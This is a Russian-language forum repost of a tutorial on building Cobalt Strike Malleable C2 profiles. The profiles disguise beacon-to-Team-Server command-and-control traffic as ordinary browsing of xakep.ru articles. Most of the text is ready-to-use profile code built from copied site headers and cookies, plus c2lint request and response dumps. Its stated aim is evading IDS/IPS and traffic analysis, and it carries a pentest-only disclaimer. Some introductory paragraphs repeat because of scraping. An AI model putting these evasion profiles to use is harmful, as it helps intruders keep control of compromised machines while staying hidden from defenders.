stihl не предоставил(а) никакой дополнительной информации.
Malleable C2 — это мощная функция Cobalt Strike, которая позволяет настраивать и изменять сетевое взаимодействие между маячком и сервером. Это дает злоумышленникам возможность маскировать свой трафик, делая его похожим на легитимные запросы и ответы. Такая маскировка помогает обойти системы обнаружения и затруднить анализ трафика.
В этой статье мы рассмотрим процесс создания и настройки профиля Malleable C2, который будет имитировать легитимные запросы к известным сайтам. Мы детально разберем структуру профиля и посмотрим, как замаскировать его под взаимодействие с реальными сервисами.
Теперь, когда мы разобрались с основами взаимодействия маячка и сервера, перейдем к настройке профиля Malleable C2.
Профиль описывает, как маячок общается с сервером и как происходит постэксплуатация. Выше я говорил, что маячок использует два вида транзакций для обмена данными (HTTP-GET и HTTP-POST). Дальше мы посмотрим, как реализовать это в профиле.
В параметрах client и server еще определяются:
Изменять метаданные (metadata) и выводимую информацию (output) помогут следующие выражения:
— append — добавляет строку в конце данных;
— base64 — кодирует данные в Base64;
— base64url — кодирует данные в Base64 для использования в URL;
— mask — выполняет операцию XOR со случайным ключом;
— netbios — кодирует данные в NetBIOS;
— netbiosu — кодирует данные в NetBIOS;
— prepend — добавляет строку перед данными.
Преобразование данных должно заканчиваться одним из следующих операторов, указывающих на место размещения передаваемой информации в HTTP-запросе:
Аналогично транзакции HTTP-GET в HTTP-POST описывается, как отправлять и принимать данные. Для client требуется описать client.id — ID сессии маячка, client.output — данные, отправляемые маячком; server.output, как правило, пустой.
Несмотря на названия структур http-get и http-post, мы можем переопределить, какие HTTP-запросы будут использоваться для передачи информации:
Теперь, когда мы познакомились со структурой Malleable C2, мы можем перейти к созданию профиля, который будет маскировать трафик под работу с легитимным сайтом.
Видим, что маячок будет обращаться к Team Server, используя одно из значений, указанных в параметре uri.
Метаинформация маячка кодируется в Base64 и помещается в HTTP-заголовке Cookie.
HTTP-ответ сервера будет содержать заголовок Content-Type с содержимым application/octet-stream. Нагрузка сервера хранится в теле ответа.
Давай теперь рассмотрим случай запроса HTTP-POST. Для транзакции будет использоваться вот такой URI: /submit.php. Заголовок Content-Type — тот же, application/octet-stream. Идентификатор будет передаваться параметром URL, например:
Ответ сервера имеет заголовок HTTP Content-Type со значением text/html. Данные — в теле ответа.
Давай посмотрим, как это будет выглядеть в трафике. Для тестирования профиля у Cobalt Strike есть скрипт c2lint. Для его запуска пишем:
В профиле было определено, что маяк должен обратиться на один из указанных URI (visit.js), а метаданные должны быть указаны в HTTP-заголовке Cookie в виде Base64. У заголовка ответа сервера должны быть Content-Type: application/octet-stream, а данные — в теле ответа.
При выполнении транзакции HTTP-POST маяк выполняет POST-запрос на /submit.php и добавляет параметр id, который хранит значение идентификатора сессии; данные выводятся в HTTP-body. Ответ сервера, в свою очередь, должен иметь заголовок Content-Type: text/html.
Давай на практике убедимся, что рассмотренные нами запросы будут передаваться в трафике в описанном формате.
Транзакция HTTP-GET по умолчанию
Транзакция HTTP-GET по умолчанию
Для примера давай создадим профиль, который будет мимикрировать под просмотр статей на xakep.ru.
HTTP-запрос выглядит следующим образом:
Параметр uri будет содержать несколько путей к статьям:
Пути к статьям из Burp
Опишем структуру клиента.
Опишем ответ сервера. На рисунке ниже видим, как ответ выглядит в Burp.
Ответ сервера в Burp Suite
Добавим в профиль HTTP-заголовки, аналогичные ответу сервера. Спрячем данные, которые сервер отправляет маяку, для этого используем кодирование Base64 и добавление строк в начале и конце данных. Для этого воспользуемся ключевыми словами base64, prepend и append.
Описание транзакции HTTP-GET будет выглядеть так:
Давай переопределим запрос HTTP-POST на HTTP-GET:
Укажем URI:
Заполним информацию о клиенте.
В итоге описание транзакции будет выглядеть так:
Настало время проверить работу нашего конфига. Воспользуемся c2lint. Транзакция HTTP-GET выглядит так:
Посмотрим, как это выглядит в трафике.
Трафик между Team Server и маяком с новым профилем, HTTP-GET
Трафик между Team Server и маяком с новым профилем, HTTP-POST
В трафике нас выдает только HTTP-заголовок Host, который не похож на адрес xakep.ru. При пентесте или редтиминге оператор Cobalt Strike обычно выбирает какой‑нибудь ресурс, который могут часто смотреть сотрудники тестируемой организации и который не вызовет подозрений.
или Зарегистрируйся
В этой статье мы рассмотрим процесс создания и настройки профиля Malleable C2, который будет имитировать легитимные запросы к известным сайтам. Мы детально разберем структуру профиля и посмотрим, как замаскировать его под взаимодействие с реальными сервисами.
warning
Статья имеет ознакомительный характер и предназначена для специалистов по безопасности, проводящих тестирование в рамках контракта. Автор и редакция не несут ответственности за любой вред, причиненный с применением изложенной информации. Распространение вредоносных программ, нарушение работы систем и нарушение тайны переписки преследуются по закону.
Что такое профиль Malleable C2
Профиль Malleable C2 позволяет гибко настроить поведение маячка (beacon) Cobalt Strike при взаимодействии с сервером управления (Team Server). Основное назначение профиля Malleable C2 — изменять сетевые запросы и ответы таким образом, чтобы они выглядели как обычный трафик, который не будет вызывать вопросов у систем IDS/IPS. К тому же это усложняет анализ трафика специалистами. Достигается же маскировка путем настройки различных параметров HTTP-запросов и ответов: URI, заголовков, параметров и содержимого запроса.Как происходит взаимодействие
Когда маячок запускается на целевой машине, он инициирует транзакцию HTTP-GET к Team Server (запрос при этом может быть как GET, так и POST). В запросе передаются метаданные о скомпрометированной системе. Сервер в ответ отправляет задачи, которые должен выполнить маячок. После завершения задач маячок проверяет наличие данных для отправки и инициирует транзакцию HTTP-POST, содержащую идентификатор сеанса. Сервер использует эту информацию для привязки данных к соответствующему сеансу.Теперь, когда мы разобрались с основами взаимодействия маячка и сервера, перейдем к настройке профиля Malleable C2.
Структура профиля
Для запуска Team Server с кастомным профилем необходимо выполнить команду./teamserver <ip> <pass> <путь к файлу с профилем>
Профиль описывает, как маячок общается с сервером и как происходит постэксплуатация. Выше я говорил, что маячок использует два вида транзакций для обмена данными (HTTP-GET и HTTP-POST). Дальше мы посмотрим, как реализовать это в профиле.
http-get
В профиле параметр http-get отвечает за передачу метаданных на Team Server и получение задач от него. Он обязан содержать ключи:- client — описывает, как будет выглядеть HTTP-запрос от маячка к серверу;
- server — описывает ответ сервера на запрос.
В параметрах client и server еще определяются:
- uri — описывает URL;
- header — добавляет HTTP-заголовки к запросу;
- parameter — добавляет параметры к uri.
Изменять метаданные (metadata) и выводимую информацию (output) помогут следующие выражения:
— append — добавляет строку в конце данных;
— base64 — кодирует данные в Base64;
— base64url — кодирует данные в Base64 для использования в URL;
— mask — выполняет операцию XOR со случайным ключом;
— netbios — кодирует данные в NetBIOS;
— netbiosu — кодирует данные в NetBIOS;
— prepend — добавляет строку перед данными.
Преобразование данных должно заканчиваться одним из следующих операторов, указывающих на место размещения передаваемой информации в HTTP-запросе:
- header "Cookie" — запишет отправляемые данные в HTTP-заголовок Cookie (может использоваться любой заголовок);
- parameter "view" — запишет отправляемые данные в параметр view (например, Для просмотра ссылки Войди
или Зарегистрируйся<передаваемые_данные>); - print — запишет данные в тело HTTP (обязателен для блоков http-get.server.output, http-post.server.output и http-stager.server.output);
- uri-append — добавит данные в URI.
Код:
http-get {
set uri "/hacker/notes/[set.php|view.php]";
client {
# Параметры header и parameter можно пропустить
header "Accept-Encoding" "gzip, deflate";
parameter "user" "admin|xaker|helpdesk";
metadata {
base64url
uri-append
}
}
server {
# Параметры header и parameter можно пропустить
header "Accept-Encoding" "gzip, deflate";
parameter "user" "admin|xaker|helpdesk";
output {
mask
base64
prepend "data="
print
}
}
}
http-post
Этот параметр отвечает за отправку данных, полученных в результате выполнения задач маячка.Аналогично транзакции HTTP-GET в HTTP-POST описывается, как отправлять и принимать данные. Для client требуется описать client.id — ID сессии маячка, client.output — данные, отправляемые маячком; server.output, как правило, пустой.
Код:
http-post {
set uri "/notes/[add.php|delete.php]";
client {
header "Flag" "Im not hacker";
parameter "username" "admin";
id {
mask;
base64url;
print
}
output {
mask;
base64url;
print;
}
}
server {
output {
base64url;
print;
}
}
}
Несмотря на названия структур http-get и http-post, мы можем переопределить, какие HTTP-запросы будут использоваться для передачи информации:
Код:
set verb "POST"; # GET or POST
Например:
http-get {
set uri "/test /qvest";
set verb "POST";
client {
metadata {
print;
}
}
server {
output {
print;
}
}
}
Теперь, когда мы познакомились со структурой Malleable C2, мы можем перейти к созданию профиля, который будет маскировать трафик под работу с легитимным сайтом.
Выбираем сайт и наполняем профиль
Профиль по умолчанию
Team Server запускается с конфигом по умолчанию. Давай посмотрим на ту часть, которая отвечает за сетевое взаимодействие.
Код:
http-get {
set uri "/ca /dpixel /__utm.gif /pixel.gif /g.pixel /dot.gif /updates.rss /fwlink /cm /cx /pixel /match /visit.js /load /push /ptj /j.ad /ga.js /en_US/all.js /activity /IE9CompatViewList.xml";
client {
metadata {
base64;
header "Cookie";
}
}
Видим, что маячок будет обращаться к Team Server, используя одно из значений, указанных в параметре uri.
info
Пути из профиля по умолчанию могут использоваться для поиска следов компрометации в инфраструктуре, если злоумышленник не поменял профиль на свой.Метаинформация маячка кодируется в Base64 и помещается в HTTP-заголовке Cookie.
HTTP-ответ сервера будет содержать заголовок Content-Type с содержимым application/octet-stream. Нагрузка сервера хранится в теле ответа.
Код:
server {
header "Content-Type" "application/octet-stream";
output {
print;
}
}
}
Давай теперь рассмотрим случай запроса HTTP-POST. Для транзакции будет использоваться вот такой URI: /submit.php. Заголовок Content-Type — тот же, application/octet-stream. Идентификатор будет передаваться параметром URL, например:
Код:
/submit.php?id=2v78b472834v789b0378b906v
Передаваемые данные — в теле запроса:
http-post {
set uri "/submit.php";
client {
header "Content-Type" "application/octet-stream";
id {
parameter "id";
}
output {
print;
}
}
Ответ сервера имеет заголовок HTTP Content-Type со значением text/html. Данные — в теле ответа.
Код:
server {
header "Content-Type" "text/html";
output {
print;
}
}
}
Давай посмотрим, как это будет выглядеть в трафике. Для тестирования профиля у Cobalt Strike есть скрипт c2lint. Для его запуска пишем:
./c2lint путь к файлу
В профиле было определено, что маяк должен обратиться на один из указанных URI (visit.js), а метаданные должны быть указаны в HTTP-заголовке Cookie в виде Base64. У заголовка ответа сервера должны быть Content-Type: application/octet-stream, а данные — в теле ответа.
Код:
http-get
---
GET /visit.js HTTP/1.1
Cookie: AlZ5bksajXiMR33rpPYp8w==
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0; MASP)
HTTP/1.1 200 OK Content-Type: application/octet-stream Content-Length: 64
~Ak&.....E..S;..U.. .%.......:4Hb.+.H...........H+.aY.2`..P..A..
При выполнении транзакции HTTP-POST маяк выполняет POST-запрос на /submit.php и добавляет параметр id, который хранит значение идентификатора сессии; данные выводятся в HTTP-body. Ответ сервера, в свою очередь, должен иметь заголовок Content-Type: text/html.
Код:
http-post
---
POST /submit.php?id=56926 HTTP/1.1 Content-Type: application/octet-stream
Content-Length: 16 User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; MALCJS)
.pi...9..csQ...f
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0
Давай на практике убедимся, что рассмотренные нами запросы будут передаваться в трафике в описанном формате.
Копируем запросы с интересующего ресурса
Для копирования запросов с сайтов я использую Burp Suite. Он предоставляет возможность локально на компьютере создать HTTPS-прокси, что позволит нам посмотреть трафик за SSL и познакомиться со структурой сайта.Для примера давай создадим профиль, который будет мимикрировать под просмотр статей на xakep.ru.
HTTP-запрос выглядит следующим образом:
Код:
GET /2024/06/14/detecting-edr-bypass/ HTTP/1.1
Host: xakep.ru
Cookie: _ga=GA1.1.1915749425.1718546663; _ym_uid=171854666650412871; _ym_d=1718546666; _ym_isad=2; _ym_visorc=w; enPop_sessionId=720a32b1-2be9-11ef-ba22-4a1c703d3d35; _ga_BR3RNXPV1V=GS1.1.1718559957.2.1.1718560215.60.0.0
Sec-Ch-Ua: "Chromium";v="125", "Not.A/Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.60 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://xakep.ru/issues/xa/299/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=0, i
Connection: keep-alive
Описание транзакции HTTP-GET
Для написания конфига для транзакции HTTP-GET составим его тело и будем наполнять.
Код:
http-get {
set uri "";
client {
metadata {
print;
}
}
server {
output {
print;
}
}
}
Параметр uri будет содержать несколько путей к статьям:
set uri "/2024/06/14/detecting-edr-bypass/ /2024/06/14/youtube-server-side-ads/ /2024/06/14/bifrost-valhall-0day/";
Опишем структуру клиента.
Код:
client {
header "Referer" "https://xakep.ru/issues/xa/299/";
header "User-Agent" "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.60 Safari/537.36"
metadata {
base64;
prepend "_ym_visorc=w; enPop_sessionId=";
header "Cookie";
}
}
Опишем ответ сервера. На рисунке ниже видим, как ответ выглядит в Burp.
Добавим в профиль HTTP-заголовки, аналогичные ответу сервера. Спрячем данные, которые сервер отправляет маяку, для этого используем кодирование Base64 и добавление строк в начале и конце данных. Для этого воспользуемся ключевыми словами base64, prepend и append.
Код:
server {
header "SERVER" "QRATOR";
header "Content-Type" "text/html; charset=UTF-8";
header "Connection" "keep-alive";
header "Keep-Alive" "timeout=15";
header "X-Powered-By" "PHP/7.4.32";
header "Content-Length" "144207";
output {
base64;
prepend "<!DOCTYPE html><html lang='ru-RU' prefix='og: http://ogp.me/ns# article: http://ogp.me/ns/rticle# profile: http://ogp.me/ns/profile# fb: http://ogp.me/ns/fb#'><head><meta charset='UTF-8' /><meta name='viewport' content='width=device-width, initial-scale=1, maximum-scale=1, user-scalable=0' /><link rel='profile' href='http://gmpg.org/xfn/11' /><link rel='pingback' href='https://xakep.ru/xmlrpc.php' /><meta name='mailru-verification' content='19264888db6819ce' />";
append "<title>Детект на связи. Учимся обнаруживать следы атак на EDR — Хакер</title><meta name='robots' content='max-image-preview:large' /><link rel='dns-prefetch' href='//www.google.com' /><link rel='dns-prefetch' href='//fonts.googleapis.com' />";
print;
}
}
Описание транзакции HTTP-GET будет выглядеть так:
Код:
http-get {
set uri "/2024/06/14/detecting-edr-bypass/ /2024/06/14/youtube-server-side-ads/ /2024/06/14/bifrost-valhall-0day/";
client {
header "Referer" "https://xakep.ru/issues/xa/299/";
header "User-Agent" "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.60 Safari/537.36"
metadata {
base64;
prepend "_ym_visorc=w; enPop_sessionId=";
header "Cookie";
}
}
server {
header "SERVER" "QRATOR";
header "Content-Type" "text/html; charset=UTF-8";
header "Connection" "keep-alive";
header "Keep-Alive" "timeout=15";
header "X-Powered-By" "PHP/7.4.32";
header "Content-Length" "144207";
output {
base64;
prepend "<!DOCTYPE html><html lang='ru-RU' prefix='og: http://ogp.me/ns# article: http://ogp.me/ns/rticle# profile: http://ogp.me/ns/profile# fb: http://ogp.me/ns/fb#'><head><meta charset='UTF-8' /><meta name='viewport' content='width=device-width, initial-scale=1, maximum-scale=1, user-scalable=0' /><link rel='profile' href='http://gmpg.org/xfn/11' /><link rel='pingback' href='https://xakep.ru/xmlrpc.php' /><meta name='mailru-verification' content='19264888db6819ce' />";
append "<meta name='robots' content='max-image-preview:large' /><link rel='dns-prefetch' href='//www.google.com' /><link rel='dns-prefetch' href='//fonts.googleapis.com' />";
print;
}
}
}
Описание транзакции HTTP-POST
Снова берем шаблон транзакции и наполняем.
Код:
http-post {
set uri "";
client {
header "" "";
parameter "" "";
id {
print
}
output {
print;
}
}
server {
output {
print;
}
}
}
Давай переопределим запрос HTTP-POST на HTTP-GET:
set verb "GET";
Укажем URI:
set uri "/pentest";
Заполним информацию о клиенте.
Код:
client {
header "User-Agent" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.60 Safari/537.36"
header "Accept" "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7";
id {
base64;
prepend "_ga=GA1.1.1915749425.1718546663; _ym_uid=171854666650412871; _ym_d=1718546666; enPop_sessionId=";
header "Cookie";
}
output {
base64;
prepend "Windows-Id=";
header "Sec-Ch-Ua-Platform";
}
}
И опишем ответ сервера.
server {
header "Server" "QRATOR";
header "Content-Type" "text/html; charset=UTF-8";
header "Connection" "keep-alive";
header "X-Powered-By" "PHP/7.4.32";
output {
print;
}
}
В итоге описание транзакции будет выглядеть так:
Код:
http-post {
set verb "POST";
set uri "/pentest";
client {
header "User-Agent" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.60 Safari/537.36"
header "Accept" "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7";
id {
base64;
prepend "_ga=GA1.1.1915749425.1718546663; _ym_uid=171854666650412871; _ym_d=1718546666; enPop_sessionId=";
header "Cookie";
}
output {
base64;
prepend "Windows-Id=";
header "Sec-Ch-Ua-Platform";
}
}
server {
header "Server" "QRATOR";
header "Content-Type" "text/html; charset=UTF-8";
header "Connection" "keep-alive";
header "X-Powered-By" "PHP/7.4.32";
output {
print;
}
}
}
Настало время проверить работу нашего конфига. Воспользуемся c2lint. Транзакция HTTP-GET выглядит так:
Код:
http-get
---
GET /2024/06/14/bifrost-valhall-0day/ HTTP/1.1
Referer: https://xakep.ru/issues/xa/299
User-Agent: User-Agent Cookie: _ym_visorc=w; enPop_sessionId=Y+Rmu3X5xJcpc+jlkbDRpQ==
HTTP/1.1 200 OK SERVER: QRATOR Content-Type: text/html; charset=UTF-8 Connection: keep-alive Keep-Alive: timeout=15 X-Powered-By: PHP/7.4.32 Content-Length: 717
<!DOCTYPE html><html lang='ru-RU' prefix='og: http://ogp.me/ns# article: http://ogp.me/ns/rticle# profile: http://ogp.me/ns/profile# fb: http://ogp.me/ns/fb#'><head><meta charset='UTF-8' /><meta name='viewport' content='width=device-width, initial-scale=1, maximum-scale=1, user-scalable=0' /><link rel='profile' href='http://gmpg.org/xfn/11' /><link rel='pingback' href='https://xakep.ru/xmlrpc.php' /><meta name='mailru-verification' content='19264888db6819ce' />430cMgRMaT8gTPGgDNzPAfnZyiGeXXJPkUEOZQ+FLb2+ALzcJUkpSAUBO9VjwRvdfbwqLi128SPvBKEF9F9jIA==<meta name='robots' content='max-image-preview:large' /><link rel='dns-prefetch' href='//www.google.com' /><link rel='dns-prefetch' href='//fonts.googleapis.com' />
А вот транзакция HTTP-POST:
http-post
---
GET /pentest HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.60 Safari/537.36 Accept: Accept Cookie: _ga=GA1.1.1915749425.1718546663; _ym_uid=171854666650412871; _ym_d=1718546666; enPop_sessionId=MzE5NDk=
Sec-Ch-Ua-Platform: Windows-Id=TwwSfNFjLX1zyqCQ7S75pw==
HTTP/1.1 200 OK
Server: QRATOR Content-Type: text/html; charset=UTF-8 Connection: keep-alive X-Powered-By: PHP/7.4.32 Content-Length: 0
Обрати внимание, что в транзакции HTTP-POST используется запрос HTTP-GET.
Посмотрим, как это выглядит в трафике.
Трафик между Team Server и маяком с новым профилем, HTTP-GET
В трафике нас выдает только HTTP-заголовок Host, который не похож на адрес xakep.ru. При пентесте или редтиминге оператор Cobalt Strike обычно выбирает какой‑нибудь ресурс, который могут часто смотреть сотрудники тестируемой организации и который не вызовет подозрений.